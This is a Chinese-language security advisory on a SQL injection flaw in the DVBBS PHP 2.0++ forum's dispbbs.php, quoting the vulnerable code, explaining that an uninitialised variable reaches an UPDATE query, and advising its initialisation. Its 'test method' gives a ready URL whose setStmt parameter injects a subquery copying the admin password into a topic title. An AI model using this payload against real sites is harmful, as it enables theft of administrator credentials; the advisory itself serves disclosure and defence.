动网论坛 (DVBBS) PHP 2.0++ dispbbs.php sql注入漏洞

  • 发表于
  • Vulndb

发布时间:2010-09-10
影响版本:动网论坛 (DVBBS) PHP 2.0++
漏洞描述:动网(DVBBS)论坛系统是一个采用PHP和MYSQL的数据架构的高性能网站论坛解决方案。

在文件dispbbs.php中:

if( $board_settings[55] != 0 && $TopicInfo['locktopic'] == 0 && dateDiff('d',$TopicInfo['dateandtime'],TIME_NOW) > $board_settings[55] ){  //第85行
$TopicInfo['locktopic'] = 1;
$setStmt = ',locktopic=1';
}
$db->query("UPDATE {$dv}topic SET hits=(CASE WHEN hits IS NULL THEN 1 ELSE hits+1 END) {$setStmt} WHERE topicid={$AnnounceID}");

当if语句不成立的时候,变量$setStmt没有被赋值,且变量$setStmt没有初始化。导致sql注入漏洞的产生。

测试方法

本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

http://ssvdb.com/dispbbs.php?boardid=2&id=1&page=1&setStmt=,title=(select%20password%20from%20dv_admin)

安全建议

临时解决办法:
--------
初始化变量$setStmt

厂商补丁:
动网论坛(dvbbs)
--------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.dvbbs.net